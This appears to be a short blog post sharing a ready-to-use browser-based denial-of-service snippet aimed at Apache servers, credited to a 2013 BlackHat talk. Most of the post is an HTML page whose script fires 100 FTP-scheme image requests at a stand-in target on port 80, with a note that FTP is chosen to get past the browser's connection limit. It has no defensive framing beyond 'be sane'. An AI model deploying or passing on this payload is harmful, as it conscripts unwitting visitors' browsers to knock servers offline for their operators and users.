Javascript apache ddos

Something quick to share with you before I forget it 🙂

<html><body>
<script>
       for (var i = 0; i < 100; i++) {
             var img = new Image();
             var url = 'ftp://victim.com:80/?'+i;
             img.src = url;
       }
</script>
</body></html>

I use ftp because http has a limit of 6 simultaneous connections on most browsers, on the other hand ftp has no limit to the day I write this post.

Be sane on how you use it!!!

(Original attack demonstration on BlackHat 2013, Las Vegas)